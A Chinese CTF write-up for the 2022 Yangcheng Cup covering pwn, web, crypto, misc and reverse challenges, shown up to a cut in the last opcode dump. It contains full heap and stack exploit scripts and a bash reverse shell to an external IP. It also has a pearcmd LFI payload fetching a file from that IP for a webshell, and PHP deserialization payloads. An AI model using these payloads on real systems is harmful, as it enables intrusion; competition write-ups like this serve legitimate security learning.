羊城杯2022-Writeup

羊城杯2022–Writeup

​ -------TWe1v3、1amfree、scr1pt_k1ddi3


这个比赛太累了可,凌晨三点碰着枕头就睡着了,不过收获也蛮多的,这次题目很友好,不像wmCTF一样坐大牢。感谢两位大哥的实力带飞,太菜了我。全靠躺。

排行榜

Pwn

YCBSQL

这个应该是有了非预期,可以直接调用shell,我们直接反弹就行。

1

Payload:

1
.system bash -c "bash -i  >&/dev/tcp/101.43.255.238/7777 0>&1"

2

这个题目的漏洞就是在unlink的时候如果是unlink的头指针,那么后面的指针没有清空,就会是这样:

1280X1280 (3)

然后在free函数的时候,如果offset是0xff,那么后面的指针就都能释放掉,因此就会产生double free。

1280X1280 (4)

所以实际上就是一个double free的利用。这里我一开始是用的9.7的libc,之后直接改成9.2的就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *
# r=process("/home/ubuntu/pwn/比赛/羊城杯/pwn/pwn")
r=remote("tcp.dasc.buuoj.cn",23916)
elf=ELF("/home/ubuntu/pwn/比赛/羊城杯/pwn/pwn")
# libc=ELF("/home/ubuntu/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc.so.6")
libc=ELF("/home/ubuntu/pwn/比赛/羊城杯/pwn/libc.so.6")
context(arch="amd64",os="linux",log_level="debug")
context.terminal = ['gnome-terminal','-x','sh','-c']

def meau(index):
r.sendlineafter("Your choice:",str(index))

def add(size,content):
meau(1)
r.sendlineafter("Size:",str(size))
r.sendafter("Content:",content)

def delete(index,offset):
meau(2)
r.sendlineafter("Index",str(index))
r.sendlineafter("Input offset:",str(offset))

def link(id1,id2):
meau(3)
r.sendlineafter("link from:",str(id1))
r.sendlineafter("link to:",str(id2))

def unlink(index,offset):
meau(4)
r.sendlineafter("Index:",str(index))
r.sendlineafter("Input offset:",str(offset))

add(8,'a'*8)
add(8,'b'*8)
add(8,'c'*8)
add(8,'d'*8)

for i in range(8):
add(0x70,p64(0)+p64(0X451))

link(0,1)
unlink(0,0)

delete(1,0xff)
add(8,'z'*8)
link(0,1)

meau(4)
r.sendlineafter("Index:",str(0))
r.recvuntil("Offset 1:")
heap_base=u64(r.recvuntil("\n")[:-1].ljust(8,b'\x00')) - 0x2e0
success("heap_base = "+hex(heap_base))
r.sendlineafter("Input offset:",str(1))

link(2,3)
unlink(2,0)
delete(3,0xff)

payload=p64(0)+p64(0x450)+p64(heap_base+0x3b0)
add(0x18,payload)

delete(2,0)

add(8,'/bin/sh\x00')
add(8,'z'*8)
add(0x60,"z"*8)

payload=p64(0)+p64(8)+p64(heap_base+0x460)
add(0x18,payload)

link(0,4)

meau(4)
r.sendlineafter("Index:",str(0))
libc_base=u64(r.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) - 0x10 -96 - libc.symbols['__malloc_hook']
success("libc_base = "+hex(libc_base))
r.sendlineafter("Input offset:",str(1))

system_addr=libc.symbols['system']+libc_base
free_hook=libc_base+libc.symbols['__free_hook']

delete(7,0)
delete(6,0)
delete(1,0)

payload=p64(free_hook)*3
add(0x60,payload)

add(0x60,payload)

add(0x70,p64(system_addr))
add(0x70,p64(system_addr))
delete(3,0)

r.interactive()

fakeNoOutput

这道题目就有点难受,首先是一堆的逆向操作。但是实际上就是一个栈溢出,并且溢出了非常多的字节。但是想要让程序执行到溢出点还是有点的困难。首先我们发现溢出点在upload里面的strcpy(s, haystack);这个部分,然后我们只需要让函数调用upload就可以溢出。但是首先要通过sub_804976F这个函数里面的验证,经过逆向调试发现,就是一个伪随机数,我们直接输入就行。然后溢出的自己大小和Content-Length有较大的关系,因此我们要设置Content-Length的大小来控制溢出的长度。之后由于函数限制的原因,无法ret2libc,因此我们经过精心构造,返回到http_puts函数,然后就能够泄露出got表里的内容,之后再返回主函数再溢出一次就行,就能够拿到shell。让人十分不解的是不知道为什么第二个端口一直打不通,泄露不出来东西,第一个端口多跑两次就能够打通远端。

1280X1280 (5)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from os import execve
from pwn import *
# r=process("/home/ubuntu/pwn/比赛/羊城杯/fakeNoOutput/fakeNoOutput")
r=remote("tcp.dasc.buuoj.cn",20432)
elf=ELF("/home/ubuntu/pwn/比赛/羊城杯/fakeNoOutput/fakeNoOutput")
libc=ELF("/home/ubuntu/pwn/比赛/羊城杯/fakeNoOutput/libc.so.6")

context(arch="i386",os="linux",log_level="debug")
context.terminal = ['gnome-terminal','-x','sh','-c']

payload="POST /upload / "
r.sendline(payload)

payload2="Content-Length:0x4022\t"
r.sendline(payload2)
payload3="HTTP_SERVER1_token:wR5qH796Ky8D03r2W7syLB7406e30xP7\t"
r.sendline(payload3)
r.send("\n")

payload='Content:zzzzfilename=zzzz'
r.sendline(payload)

strlen_got=elf.got['strlen']
strstr_plt=elf.plt['strstr']
# payload=(p32(0x804D1a0)+p32(0x8049F77)+p32(0x804D010)).rjust(0x1040,b'a')+p32(0x804D1A0+0x103c-8)+p32(0x80496A8)
payload=b'b'*0x1040+p32(0x804D1A0+0x4000-4)+p32(0x80496A8)
payload=payload.ljust(0x4000,b'a')+p32(0x8049F77)+p32(0x804D010)
r.send(payload)

libc_base=u32(r.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00")) - libc.symbols['strstr']
success("libc_base = "+hex(libc_base))

system_addr = libc_base+libc.symbols['system']
bin_sh=libc_base+libc.search(b'/bin/sh').__next__()
execve_addr=libc_base+libc.symbols['execve']

gadget1=0xcc9ab
gadget2=0x145f43
gadget3=0x145f44
one_gadget=libc_base+gadget1

payload="POST /upload / "
r.sendline(payload)

payload2="Content-Length:0xece\t"
r.sendline(payload2)
payload3="HTTP_SERVER1_token:5lnPP74OkC4N9U8smBU812Smk1XxvRBJ\t"
r.sendline(payload3)
r.send("\n")

payload='Content:zzzzfilename=zzzz'
r.sendline(payload)

payload=b'c'*0xe9c+p32(execve_addr)+p32(0)+p32(bin_sh)+p32(0)*2
r.send(payload)

r.interactive()

Dream

说是dream,实际上就是一个largebin attack,然后UAF漏洞,函数功能还都比较齐全。主要是开启了沙箱不能拿到shell,并且show函数里面有一个加密的过程,想要泄露数据必须要完成逆向,之后我们直接利用qwb里面house of cat的做法,一次largebin attack攻击malloc assert即可实现orw读取flag并泄露。

1280X1280(6)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
from pwn import *
# r=process("/home/ubuntu/pwn/比赛/羊城杯/dream/dream")
r=remote("tcp.dasc.buuoj.cn",26422)
elf=ELF("/home/ubuntu/pwn/比赛/羊城杯/dream/dream")
libc=ELF("/home/ubuntu/glibc-all-in-one/libs/2.32-0ubuntu3_amd64/libc.so.6")

context(arch="amd64",os="linux",log_level="debug")
context.terminal = ['gnome-terminal','-x','sh','-c']

def meau(index):
r.sendlineafter("choice: ",str(index))

def add(index,size,content):
meau(1)
r.sendlineafter("Give me a dream ID: ",str(index))
r.sendlineafter("how long: ",str(size))
r.sendafter("dream: ",content)

def delete(index):
meau(2)
r.sendlineafter("Which dream to wake?",str(index))


def show(index):
meau(4)
r.sendlineafter("Which dream do you want to show?",str(index))

def edit(index,content):
meau(3)
r.sendlineafter("Which dream to make?",str(index))
r.sendafter("dream: ",content)

def de(payload,len):
key = [9,5,2,7]
v9 = 52 // len + 6
delta = 0
delta -= v9 * 0x61C88647
delta &= 0xffffffff
bk = payload[0]

while(v9):

for i in range(1,len)[::-1]:
fd = payload[i - 1]
payload[i] -= (((8 * bk) ^ (fd >> 7)) + ((bk >> 3) ^ (16 * fd))) ^ ((bk ^ delta) + (fd ^ key[((delta >> 2) & 3) ^ i & 3]))
payload[i] &= 0xffffffff
bk = payload[i]
i -= 1
fd = payload[len - 1]
payload[0] -= (((8 * bk) ^ (fd >> 7)) + ((bk >> 3) ^ (16 * fd))) ^ ((bk ^ delta) + (fd ^ key[((delta >> 2) & 3) ^ i & 3]))
payload[0] &= 0xffffffff
bk = payload[0]

delta += 0x61C88647
delta &= 0xffffffff

v9-=1
return payload

add(0,0x420,'a')
add(1,0x400,'b')
add(2,0x410,"c")
delete(0)
delete(1)
show(0)

payloads=[]

for i in range(0x420//4):
payloads.append(int.from_bytes(r.recv(4), "little"))

payloads=de(payloads,0x420//4)
main_arena=(payloads[0]+(payloads[1]<<32)) - 96
libc_base=main_arena - 0x10 - libc.symbols['__malloc_hook']
success("libc_base = "+hex(libc_base))

stderr_addr=libc_base+libc.symbols['stderr']
set_context=libc_base+libc.symbols['setcontext']+61

show(1)

payloads1=[]

for i in range(0x400//4):
payloads1.append(int.from_bytes(r.recv(4), "little"))

payloads1=de(payloads1,0x400//4)

heap_base=(payloads1[2]+(payloads1[3]<<32)) - 0x10
success("heap_base = "+hex(heap_base))

payload=p64(main_arena+96)*2
payload=payload.ljust(0x410,b'\x00')
edit(0,payload)

payload=p64(heap_base>>12)+p64(heap_base+0x10)
payload=payload.ljust(0x400,b'\x00')
edit(1,payload)

add(3,0x440,"d")
delete(2)

payload=p64(0)*3+p64(stderr_addr - 0x20)
edit(0,payload)

add(4,0x4f0,'e')

delete(4)
add(5,0x430,'z')

payload=b'\x00'*0x438+p64(0x70)
edit(4,payload)

fake_io_addr=heap_base+0xad0
next_chain = 0
fake_IO_FILE=p64(heap_base)
fake_IO_FILE+=p64(0)*7
fake_IO_FILE +=p64(heap_base+0xee0)+p64(0)
fake_IO_FILE +=p64(fake_io_addr+0xb0)
fake_IO_FILE +=p64(set_context)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_base+0x1000)
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(libc_base+0x1e4f80+0x10)
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x50)

edit(2,fake_IO_FILE)

shellcode_addr=heap_base+0xee0+0x300

frame = SigreturnFrame()

frame.rsp = shellcode_addr+0x20
frame.rdi = heap_base
frame.rsi = 0x10000
frame.rdx = 7
frame.rip = libc_base+libc.symbols['mprotect']

code = shellcraft.open("/flag")
code += shellcraft.read('rax','rsp',0x50)
code += shellcraft.write(1, 'rsp', 0x50)
code += shellcraft.exit(0)
shellcode=asm(code)
payload=bytes(frame)[0x20:].ljust(0x300,b'\x00')+p64(shellcode_addr+0x28)+shellcode
edit(3,payload)

meau(1)
r.sendlineafter("Give me a dream ID: ",str(6))
r.sendlineafter("how long: ",str(0x4f0))

r.interactive()

Web

rce_me

扫进程扫到了这个

1280X1280 (6)

直接读根目录/flag,没有权限,应该是需要连木马提权

1280X1280 (7)

找了一圈死活找不到可以包含的文件,最后要拿pearcmd.php去下载文件然后包含,过滤的字符串可以url编码绕过。

1
?file=/usr/local/lib/php/%70%65%61%72cmd.php&+download+http://101.43.255.238/1.txt

img

下载文件直接到web目录成功

img

包含文件+蚁剑连接+date提权

img

step_by_step-v3

pop链题目,这里应该是要跳到hint那里去绕过include_once包含文件,但是过滤很多,包含不进去,然后就看到($this->y1)();可以看phpinfo,结果flag直接出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
error_reporting(0);
highlight_file(__FILE__);
class yang
{
public $y1;

}

class cheng
{
public $c1;

public function __wakeup()
{
$this->c1->flag = 'flag';
}

public function __invoke()
{
$this->c1->hint();
}
}

class bei
{
public $b1;
public $b2;

public function __set($k1,$k2)
{
print $this->b1;
}

public function __call($n1,$n2)
{
echo $this->b1;
}
}
$c=new cheng();
$b=new bei();
$y=new yang();
$y1=new yang();
$c->c1=$b;
$b->b1=$y;
$y->y1="phpinfo";
print_r(serialize($c));
O:5:"cheng":1:{s:2:"c1";O:3:"bei":2:{s:2:"b1";O:4:"yang":1:{s:2:"y1";s:7:"phpinfo";}s:2:"b2";N;}}

1280X1280 (11)

Safepop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
error_reporting(E_ALL);
ini_set('display_errors', true);
highlight_file(__FILE__);
class Fun{
private $func = 'call_user_func_array';
public function __construct(){
$this->func=[new Test(),"getFlag"];
}
public function __call($f,$p){
call_user_func($this->func,$f,$p);
}
public function __wakeup(){
$this->func = '';
die("Don't serialize me");
}
}

class Test{
public function getFlag(){
system("cat /flag?");
}
public function __call($f,$p){
phpinfo();
}
public function __wakeup(){
echo "serialize me?";
}
}

class A{
public $a;
public function __get($p){
if(preg_match("/Test/",get_class($this->a))){
return "No test in Prod\n";
}
return $this->a->$p();
}
}

class B{
public $p;
public function __destruct(){
$p = $this->p;
echo $this->a->$p;
}
}
$b=new B();
$a=new A();
$t=new Test();
$f=new Fun();
$b->a=$a;
$b->p="getFlag";
$a->a=$f;
print_r(serialize($b));
//O:1:"B":2:{s:1:"p";s:7:"getFlag";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:9:" Fun func";a:2:{i:0;O:4:"Test":0:{}i:1;s:7:"getFlag";}}}}
//O:1:"B":3:{s:1:"p";s:7:"getFlag";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:9:"%00Fun%00func";a:2:{i:0;O:4:"Test":0:{}i:1;s:7:"getFlag";}}}}

这个题一看就是需要去调那个getFlag方法,但是这里preg_match("/Test/",get_class($this->a))看到了过滤说明直接调用肯定是不行的,所以我们是需要通过Fun类的回调函数去调用的,这样就可以绕过过滤。

同时还有个问题就是weakup,看了一眼php版本,php7.3可能是还有绕过,不然这题没法做了。

1280X1280 (12)

然后我们就是需要挖链子,这里还有个小问题就是throw new Exception("no pop");会抛出异常,绕过他的方式是要让反序列化的内容有错,这里我一直习惯是用数组去改绕过,但是因为这里最后是要改大小绕weakup的所以不用数组也行。这里$b->p="getFlag";也不需要一定赋值getFlag,只要是随便一个B里面没有的方法就行,这里一开始是直接调的Test,所以赋了这个,懒得改了,这里私有方法记得加%00或者url编码一下。还有要改一下B那里改大一点,改成了3.

1
?pop=O:1:"B":3:{s:1:"p";s:7:"getFlag";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:9:"%00Fun%00func";a:2:{i:0;O:4:"Test":0:{}i:1;s:7:"getFlag";}}}}

img

Crypto

EasyRsa

唔,找到一个素数因子,直接分解n。然后就是常规操作,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
file  = "D:\\桌面\\CRYPTO附件\\task\\output.txt"
f = open(file,'r')
a = f.readlines()
from Crypto.Util.number import *
A = []
for i in a:
n = int(i)
A.append(n)
A = A[::-1]
e = 65537
c=38127524839835864306737280818907796566475979451567460500065967565655632622992572530918601432256137666695102199970580936307755091109351218835095309766358063857260088937006810056236871014903809290530667071255731805071115169201705265663551734892827553733293929057918850738362888383312352624299108382366714432727
p = 7552850543392291177573335134779451826968284497191536051874894984844023350777357739533061306212635723884437778881981836095720474943879388731913801454095897
cnt = 0
def decrypt(c,d,n):
return pow(c,d,n)
for n in A:
q = n // p
assert p*q == n
phi = (p-1) * (q-1)
d = inverse(e,phi)
m = decrypt(c,d,n)
print(pow(m,e,n)==c)
c = m
print(long_to_bytes(c))

LRSA

根据

(p58)P+qtkQ=0(p-58)*P+q-t - kQ=0

构造格子

(10P01100Q)\begin{pmatrix} 1 & 0 & P\\ 0 & 1 & 1\\ 0 & 0 & Q \end{pmatrix}

我们需要的向量(p-58,q-44,k)量级大概在1024bit,那么需要对我们构造的lattice进行放大

(1021017P01210170021017Q)\begin{pmatrix} 1 & 0 & 2^{1017}P\\ 0 & 1 & 2^{1017}\\ 0 & 0 & 2^{1017}Q \end{pmatrix}

使用LLL算法得到(p-58,q-44,k),即可分解n。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from Crypto.Util.number import *
import gmpy2
B=1023
PPQ=17550772391048142376662352375650397168226219900284185133945819378595084615279414529115194246625188015626268312188291451580718399491413731583962229337205180301248556893326419027312533686033888462669675100382278716791450615542537581657011200868911872550652311318486382920999726120813916439522474691195194557657267042628374572411645371485995174777885120394234154274071083542059010253657420242098856699109476857347677270860654429688935924519805555787949683144015873225388396740487817155358042797286990338440987035608851331840925854381286767024584195081004360635842976624747610461507795755042915965483135990495921912997789567020652729777216671481467049291624343256152446367091568361258918212012737611001009003078023715854575413979603297947011959023398306612437250872299406744778763429172689675430968886613391356192380152315042387148665654062576525633130546454743040442444227245763939134967515614637300940642555367668537324892890004459521919887178391559206373513466653484926149453481758790663522317898916616435463486824881406198956479504970446076256447830689197409184703931842169195650953917594642601134810084247402051464584676932882503143409428970896718980446185114397748313655630266379123438583315809104543663538494519415242569480492899140190587129956835218417371308642212037424611690324353109931657289337536406499314388951678319136343913551598851601805737870217800009086551022197432448461112330252097447894028786035069710260561955740514091976513928307284531381150606428802334767412638213776730300093872457594524254858721551285338651364457529927871215183857169772407595348187949014442596356406144157105062291018215254440382214000573515515859668018846789551567310531570458316720877172632139481792680258388798439064221051325274383331521717987420093245521230610073103811158660291643007279940393509663374960353315388446956868294358252276964954745551655711981
PQQ=17632503734712698604217167790453868045296303200715867263641257955056721075502316035280716025016839471684329988600978978424661087892466132185482035374940487837109552684763339574491378951189521258328752145077889261805000262141719400516584216130899437363088936913664419705248701787497332582188063869114908628807937049986360525010012039863210179017248132893824655341728382780250878156526086594253092249935304259986328308203344932540888448163430113818706295806406535364433801544858874357459282988110371175948011077595778123265914357153104206808258347815853145593128831233094769191889153762451880396333921190835200889266000562699392602082643298040136498839726733129090381507278582253125509943696419087708429546384313035073010683709744463087794325058122495375333875728593383803489271258323466068830034394348582326189840226236821974979834541554188673335151333713605570214286605391522582123096490317734786072061052604324131559447145448500381240146742679889154145555389449773359530020107821711994953950072547113428811855524572017820861579995449831880269151834230607863568992929328355995768974532894288752369127771516710199600449849031992434777962666440682129817924824151147427747882725858977273856311911431085373396551436319200582072164015150896425482384248479071434032953021738952688256364397405939276917210952583838731888536160866721278250628482428975748118973182256529453045184370543766401320261730361611365906347736001225775255350554164449014831203472238042057456969218316231699556466298168668958678855382462970622819417830000343573014265235688391542452769592096406400900187933156352226983897249981036555748543606676736274049188713348408983072484516372145496924391146241282884948724825393087105077360952770212959517318021248639012476095670769959011548699960423508352158455979906789927951812368185987838359200354730654103428077770839008773864604836807261909
t=44
c=4364802217291010807437827526073499188746160856656033054696031258814848127341094853323797303333741617649819892633013549917144139975939225893749114460910089509552261297408649636515368831194227006310835137628421405558641056278574098849091436284763725120659865442243245486345692476515256604820175726649516152356765363753262839864657243662645981385763738120585801720865252694204286145009527172990713740098977714337038793323846801300955225503801654258983911473974238212956519721447805792992654110642511482243273775873164502478594971816554268730722314333969932527553109979814408613177186842539860073028659812891580301154746
PQ = gmpy2.gcd(PPQ,PQQ)
Q = PQQ//PQ
P = PPQ//PQ
p = 80736411146583842306585010871034886981016840349026602734742256246556342668178774083233822097872779308174897649383396380481655663281333047577768952571915605685701400990749928642136680236367785948214890529631428970999122918591632651324318444462622996015719163492064450044087392474349767300242266723293755137205+58
q = 71239161441539946834999944364158306978517617517717217001776063773301330324729178632534286023377366747004115034635139042058644768011502688969022553791977558750633767627495955645170437100983708648876951588485253787441732757259210010467734037546118780321368088487269039555130213851691659851510403573663333586407+44
e = 65537
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
print(long_to_bytes(pow(c,d,p*q)))

Misc

签到

直接ciphey识别解码就OK

14

where_is_secret

拿到附件,vig.txt的内容一眼丁真,vigenere编码(https://www.guballa.de/vigenere-solver)在线解密,拿到解开压缩包得到一张bmp图片,结合hint的脚本,写读像素点脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from PIL import Image
import numpy as np
import math
def encode(text):
str_len = len(text)
width = math.ceil(str_len ** 0.5)
im = Image.new("RGB", (width, width), 0x0)
x, y = 0, 0
for i in text:
index = ord(i)
rgb = (0, (index & 0xFF00) >> 8, index & 0xFF)
im.putpixel((x, y), rgb)
if x == width - 1:
x = 0
y += 1
else:
x += 1
return im
def decode():
file = open("829962.txt","w")
img = Image.open("out.bmp")
imgdata = np.array(img)
index = []
for x in range(371):
for y in range(371):
m = int(imgdata[x][y][1])
n = int(imgdata[x][y][2])
str = m<<8
str += n
file.write(chr(str))
file.close()
if __name__ == '__main__':
decode()

打开输出的文本,发现flag被打散在文本中,写一个字母识别脚本,懒了,没写正则。。

1
2
3
4
5
6
7
8
9
10
file='D:\\桌面\\829962.txt'
import string

dict = string.ascii_letters+'_'+'1'+'3'+'}'+'{'
var = ''
f = open(file,'r',encoding='gbk').read()
for i in f:
if i in dict:
var += i
print(var)

获得串flag

15

结合特征

flag{h1d3_1n_th3_p1ctur3}

迷失幻境

打卡压缩包,是虚拟磁盘镜像,取证大师挂载,查看回收站有一个jpg和一个45文件。

16

查看45文件发现PNG格式特征

17

补充文件头,然后与给的100张图片中随便选一张用stegslove里的Image combiner,获得一窜字符“Key is 可莉前来报到”,猜测可爱可莉.jpg就是加密的图片,轮番试过之后,用outguess解出flag

18

DASCTF{f473a6fd2de17a0c5794414b3905ebbe}

躲猫猫

打开题目附件,用wireshark打开,读取http报文,发现一个PNG特征格式的文件

img

img

下载获得一张灰色的PNG

接着读报文,FTP拿到一个加密压缩包,发现key.log没有加密,查看内容,通过查询是用来解密TLS流量的。

img

解密TLS流量之后获得一张JPG图片

img

内容是压缩包的解压密码。解压后的脚本是对原图的像素重计算,编写脚本恢复原图。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from PIL import Image
from numpy import array, zeros, uint8
import cv2
import os
image = cv2.imread("hide.png")
imagearray = array(image)

x,y = 5999540678407978169965856946811257903979429787575580150595711549672916183293763090704344230372835328,6310149030391323406342737832910952782997118359318834776480172449836047279615976753524231989362688

h,w = 1800,1800

x1 = round(x/y*0.001, 16)
u1 = y*3650/x
x2 = round(x/y*0.00101, 16)
u2 = y*3675/x
x3 = round(x/y*0.00102, 16)
u3 = y*3680/x
kt = [x1, x2, x3]
temp_image = zeros(shape=[h, w, 3], dtype=uint8)

for k in range(0, 1):
for i in range(0, h):
for j in range(0, w):
x1 = u1 * x1 * (1 - x1)
x2 = u2 * x2 * (1 - x2)
x3 = u3 * x3 * (1 - x3)
r1 = int(x1*255)
r2 = int(x2*255)
r3 = int(x3*255)
for t in range(0, 3):
temp_image[i][j][t] = (imagearray[i][j][t] - ((r1+r2) ^ r3)) % 256


x1 = kt[0]
x2 = kt[1]
x3 = kt[2]

encflagarray = Image.fromarray(temp_image)
encflagarray.show()
encflagarray.save("flag.png")

得到一张图片,一番搜索,是Maxicode码,扫描多次未成功,接着查找资料,发现猫的位置需要更替为一个中心靶标(公牛眼)

img

扫描成功!!

img

GWHT{ozqgVLoI1DvK8giNVdvGslr_aZKKwNuv_q-FzqB5N3hHHqn3}

Re

BBBButton

输入分为两段,其中第二段是最后的flag。因为只有4个按钮,猜测与四进制有关,之后在动调的过程中也刚好发现了四进制转换后的数字。

check1

动调发现,check1是从一张表中得到"-bl^H"字符串,本质上是通过整除及取余的方式确定下标得到字符。脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from table import table        # 导入表

c = [0x2d,0x62,0x6c,0x5e,0x48]
a1 = [0x2d,0x62] # 14772//4
a2 = [0x6c,0x5e] # 24740//4
a3 = 0x48
# 4,344,684,1024,1364,1704,2044,2384,2724,3064,3404,3744,4084,4424,4764,5104,5444,5784,6124,6464,6804,7144,7484,7824,8164,8504,8844,9184,9524,9864,10204,10544,10884,11224,11564,11904,12244,12584,12924,13264,13604,13944,14284,14624,14964,15304,15644,15984,16324,16664,17004,17344,17684,18024,18364,18704,19044,19384,19724,20064,20404,20744,21084,21424,21764,22104,22444,22784,23124,23464,23804,24144,24484,24824,25164,25504,25844,26184,26524,26864,27204,27544,27884,28224,28564
tt = []
for i in range(0,len(table),4):
if table[i]==a3:
tt.append(i//4)
# print(i,end=',')
if table[i+1]==a1[0] and table[i]==a1[1]:
n = i//4
# print('1:',i)
if table[i+1]==a2[0] and table[i]==a2[1]:
m = i//4
# print('2:',i)


k = n*0x1c39+m
# k = 0x1973a6e
# print(hex(k))

m = k%0x1c39
b = k//0x1c39
# print(hex(m))
# print(hex(table[4*m]),hex(table[4*m+1]),hex(table[4*m+2]),hex(table[4*m+3]))
# print(chr(table[4*m+1]),chr(table[4*m]))

for i in tt:
a = i+85*k
# b,c = aaa(a,0x55)
c = a//0x55
if c==k:
flag1 = a
print(hex(a))
# 0x87366687

将解出的a转化为4进制输入即可(动调按按钮真的魔鬼,不小心按错还得重头再来)

check2

vm混淆,opcode利用check1加密过,动调直接dump即可。然后就是喜闻乐见的手撕环节(悲

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
opcode = [0xF1, 0x01, 0x05, 0x04, 0xF1, 0x01, 0x08, 0x00, 0xF4, 0x08, 
0x08, 0xE1, 0xF1, 0x01, 0x00, 0x00, 0xF1, 0xE0, 0x09, 0x05,
0xFF, 0x01, 0x09, 0x01, 0xF6, 0xF1, 0xE0, 0x0A, 0x00, 0xFF,
0x01, 0x0A, 0x01, 0xF5, 0xF4, 0x0A, 0x0A, 0xE1, 0xF4, 0x0A,
0x00, 0xE2, 0xFF, 0x01, 0x00, 0x01, 0xF5, 0xF2, 0x00, 0x09,
0x01, 0x19, 0xF4, 0x08, 0x00, 0xE2, 0xF1, 0x01, 0x07, 0x00,
0xF1, 0x04, 0x06, 0xF4, 0xF3, 0xF2, 0xF1, 0xF1, 0x01, 0x04,
0x40, 0xF1, 0xE0, 0x03, 0x05, 0xFF, 0x01, 0x03, 0x01, 0xF6,
0xF4, 0x03, 0x03, 0xE1, 0xFF, 0xE0, 0x07, 0x06, 0xF5, 0xF1,
0xE0, 0x00, 0x07, 0xFF, 0x01, 0x00, 0x02, 0xFA, 0xFF, 0x01,
0x00, 0x03, 0xFD, 0xF1, 0xE0, 0x01, 0x00, 0xF1, 0xE0, 0x00,
0x05, 0xFF, 0x01, 0x00, 0x01, 0xF6, 0xF1, 0xE0, 0x08, 0x00,
0xF1, 0x01, 0x00, 0x00, 0xF1, 0xE0, 0x09, 0x00, 0xFF, 0x01,
0x09, 0x01, 0xF5, 0xF4, 0x02, 0x09, 0xE1, 0xF1, 0xE0, 0x0A,
0x03, 0xFF, 0x01, 0x0A, 0x05, 0xFA, 0xF1, 0xE0, 0x0B, 0x02,
0xFF, 0x01, 0x0B, 0x02, 0xF9, 0xFF, 0xE0, 0x0A, 0x0B, 0xFB,
0xF1, 0xE0, 0x0B, 0x02, 0xFF, 0x01, 0x0B, 0x03, 0xFA, 0xF1,
0xE0, 0x0C, 0x03, 0xFF, 0x01, 0x0C, 0x04, 0xF9, 0xFF, 0xE0,
0x0B, 0x0C, 0xFB, 0xFF, 0xE0, 0x0A, 0x0B, 0xF5, 0xF1, 0xE0,
0x09, 0x07, 0xFF, 0xE0, 0x09, 0x02, 0xFB, 0xF1, 0xE0, 0x0B,
0x00, 0xFF, 0x01, 0x0B, 0x03, 0xFD, 0xFF, 0xE0, 0x0B, 0x01,
0xFB, 0xF3, 0x0B, 0x0B, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6,
0xF7, 0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE, 0xFF, 0xF0,
